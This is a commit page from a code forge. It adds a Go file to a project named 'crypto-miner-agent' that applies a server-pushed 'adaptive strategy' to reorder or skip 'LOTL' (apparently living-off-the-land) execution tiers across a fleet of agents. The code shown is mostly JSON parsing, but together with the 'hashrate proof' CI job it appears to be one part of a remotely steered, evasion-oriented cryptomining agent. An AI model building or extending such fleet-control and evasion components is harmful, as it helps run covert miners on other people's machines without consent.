Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
58
agent/client/strategy_policy.go
Normal file
58
agent/client/strategy_policy.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
type AdaptiveStrategy struct {
|
||||
TierOrder []string `json:"tier_order"`
|
||||
SkipTiers []string `json:"skip_tiers,omitempty"`
|
||||
Reasoning []StrategyReason `json:"reasoning"`
|
||||
Confidence float64 `json:"confidence"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
}
|
||||
|
||||
type StrategyReason struct {
|
||||
Fact string `json:"fact"`
|
||||
Inference string `json:"inference"`
|
||||
Action string `json:"action"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyAdaptiveStrategyJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var s AdaptiveStrategy
|
||||
if err := json.Unmarshal(raw, &s); err != nil {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.adaptiveStrategy = s
|
||||
policy := c.tierPolicy
|
||||
if len(s.TierOrder) > 0 {
|
||||
order := make([]miner.LOTLTier, len(s.TierOrder))
|
||||
for i, t := range s.TierOrder {
|
||||
order[i] = miner.LOTLTier(t)
|
||||
}
|
||||
policy.TierOrder = order
|
||||
}
|
||||
if len(s.SkipTiers) > 0 {
|
||||
skip := make([]miner.LOTLTier, len(s.SkipTiers))
|
||||
for i, t := range s.SkipTiers {
|
||||
skip[i] = miner.LOTLTier(t)
|
||||
}
|
||||
policy.SkipTiers = skip
|
||||
}
|
||||
c.tierPolicy = policy
|
||||
c.mu.Unlock()
|
||||
log.Printf("[agent] adaptive strategy applied (%d tiers, confidence=%.2f)", len(s.TierOrder), s.Confidence)
|
||||
}
|
||||
|
||||
func (c *AgentClient) adaptiveStrategySnapshot() AdaptiveStrategy {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
return c.adaptiveStrategy
|
||||
}
|
||||
Reference in New Issue
Block a user